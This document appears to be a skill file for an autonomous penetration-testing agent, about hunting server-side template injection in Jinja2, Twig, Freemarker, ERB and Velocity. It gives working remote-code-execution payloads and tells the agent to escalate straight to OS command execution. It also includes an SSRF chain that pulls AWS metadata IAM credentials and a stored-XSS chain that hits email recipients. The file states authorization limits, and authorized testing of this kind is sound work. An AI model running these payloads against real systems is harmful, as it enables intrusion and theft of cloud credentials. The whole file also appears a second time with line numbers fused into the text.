TL;DR
- 目的:"Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thym
- 适用:通用
- 输入:目标信息
- 输出:执行结果 + 证据
- 红线:仅限授权范围内;扫描限速 -c 10 -rl 10;所有动作记 oplog
- 关联:上游:003-src-session-start → 下游:003-src-session-start(按需调用)
Autonomous Testing Priority
Escalate straight to RCE — don't stop at arithmetic detection.
Arithmetic probes ({{7*7}}→49) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like <input value="{{7*7}}">), producing a false negative even when injection exists.
Order of attack:
- Try Jinja2 RCE first (covers Python/Flask — the most common stack in modern web apps):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
- If the endpoint is a traditional web form, send as form-encoded body — NOT JSON:
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
JSON bodies are silently ignored by form-processing endpoints (request.form['field'] sees nothing).
- If Jinja2 fails, try Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- Fall back to arithmetic detection only to fingerprint the engine when RCE payloads fail.
Proof: Command output (uid=N(user) gid=...) in the response confirms RCE. If the output appears in HTML (inside a <div> or <pre>), that still counts — the format is irrelevant, the content is the evidence.
tags:
- web
- security
- pentest
allowed-tools: bash, read, write, grep, glob, mcp__burp, curl, webfetch
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
Easy to detect, high payout ($2K–$8K). Direct path to RCE.
Detection Payloads (try all)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
RCE Payloads
Jinja2 (Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB (Ruby):
<%= `id` %>
Where to Test
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:
Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the
whole matrix and read which one evaluates:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)
If {{7*7}} renders literally but ${7*7}→49, you are on Freemarker — stop sending {{config...}}.
The record id is usually a QUERY param, not a body field. The editor form posts back to
POST /…/template?productId=N with the id in the URL. The BODY carries only
csrf, template, and a template-action (preview | save). Putting the id in the body returns
400 "Missing product id". So keep the id in the query string (?productId=N) AND send a
form-encoded body of csrf=…&template=<PAYLOAD>&template-action=preview.
Re-fetch the CSRF each time and use preview to iterate. GET the editor page to read a fresh
csrf hidden field; template-action=preview renders your payload WITHOUT persisting (fast feedback
loop). Switch to template-action=save only once the payload is right, then trigger the render
(load the public page that uses the template) to fire the command.
Freemarker documentation RCE (the documented Execute utility — this IS the intended technique):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
Velocity equivalent: #set($e="e");$e.getClass().forName("java.lang.Runtime")....
Related Skills & Chains
hunt-rce — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} or Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
hunt-xss — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same {{7*7}} reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject <script> into rendered email template → stored XSS hitting every recipient who views the message.
hunt-ssrf — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} or Jinja2 with url_for/custom filters → AWS metadata exfil → cloud creds.
hunt-file-upload — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose word/document.xml contains ${T(java.lang.Runtime).getRuntime().exec("id")} to a Velocity/Freemarker-driven mail-merge → RCE.
security-arsenal — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (__subclasses__()[N] index hunting), Twig _self.env registerUndefinedFilterCallback, Freemarker ?new() Execute, ERB backticks, Velocity $class.inspect, Smarty {php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes, {%print(...)%}).
triage-validation — Apply the Pre-Severity Gate before claiming Critical RCE. A {{7*7}} → 49 reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove id/OOB DNS callback with a unique marker before writing the report.
When to Use
- Target presents indicators of the vulnerability class this skill covers
- Fingerprint or recon indicates the relevant technology stack is in use
- Authorized testing scope covers the target endpoint or component
- Findings need to be validated through this skill's methodology
When NOT to Use
- Target is clearly outside this skill's scope (refer to related skills)
- No authorization for testing
- Need a different category of testing (use related skills)
1---2name: hunt-ssti-23description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thym4license: Apache-2.05---67## TL;DR89- **目的**:"Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thym10- **适用**:通用11- **输入**:目标信息12- **输出**:执行结果 + 证据13- **红线**:仅限授权范围内;扫描限速 -c 10 -rl 10;所有动作记 oplog14- **关联**:上游:003-src-session-start → 下游:003-src-session-start(按需调用)151617## Autonomous Testing Priority1819**Escalate straight to RCE — don't stop at arithmetic detection.**2021Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.2223**Order of attack:**241. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):25 ```26 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}27 ```282. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:29 ```30 Content-Type: application/x-www-form-urlencoded31 field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}32 ```33 JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).343. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`354. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.3637**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.3839tags:40- web41- security42- pentest43allowed-tools: bash, read, write, grep, glob, mcp__burp, curl, webfetch44---4546## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION47> Easy to detect, high payout ($2K–$8K). Direct path to RCE.4849### Detection Payloads (try all)50```51{{7*7}} → 49 = Jinja2 / Twig52${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})53<%= 7*7 %> → 49 = ERB (Ruby)54*{7*7} → 49 = Spring Thymeleaf55{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.56```5758### RCE Payloads5960**Jinja2 (Python/Flask):**61```python62{{config.__class__.__init__.__globals__['os'].popen('id').read()}}63```6465**Twig (PHP/Symfony):**66```php67{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}68```6970**ERB (Ruby):**71```ruby72<%= `id` %>73```7475### Where to Test76```77Name/bio/description fields, email templates, invoice name, PDF generators,78URL path parameters, search queries reflected in results, HTTP headers reflected79```8081### CMS / "documentation" template-editor forms (authenticated)8283Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template84preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:85861. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the87 whole matrix and read which one evaluates:88 ```89 ${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here90 {{7*7}} → 49 ⇒ Jinja2 / Twig91 <%= 7*7 %> → 49 ⇒ ERB (Ruby)92 *{7*7} → 49 ⇒ Thymeleaf (Spring)93 ```94 If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.95962. **The record id is usually a QUERY param, not a body field.** The editor form posts back to97 `POST /…/template?productId=N` with the id in the URL. The BODY carries only98 `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns99 `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a100 form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.1011023. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*103 `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback104 loop). Switch to `template-action=save` only once the payload is right, then trigger the render105 (load the public page that uses the template) to fire the command.106107 **Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):108 ```109 <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }110 ```111 Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.112113---114115## Related Skills & Chains116117- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.118- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.119- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` or Jinja2 with `url_for`/custom filters → AWS metadata exfil → cloud creds.120- **`hunt-file-upload`** — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose `word/document.xml` contains `${T(java.lang.Runtime).getRuntime().exec("id")}` to a Velocity/Freemarker-driven mail-merge → RCE.121- **`security-arsenal`** — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (`__subclasses__()[N]` index hunting), Twig `_self.env` registerUndefinedFilterCallback, Freemarker `?new()` Execute, ERB backticks, Velocity `$class.inspect`, Smarty `{php}...{/php}`, plus the WAF-bypass variants (`{{request|attr('application')|...}}`, Unicode escapes, `{%print(...)%}`).122- **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical RCE. A `{{7*7}} → 49` reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove `id`/OOB DNS callback with a unique marker before writing the report.123124125## When to Use126127- Target presents indicators of the vulnerability class this skill covers128- Fingerprint or recon indicates the relevant technology stack is in use129- Authorized testing scope covers the target endpoint or component130- Findings need to be validated through this skill's methodology131132## When NOT to Use133134- Target is clearly outside this skill's scope (refer to related skills)135- No authorization for testing136- Need a different category of testing (use related skills)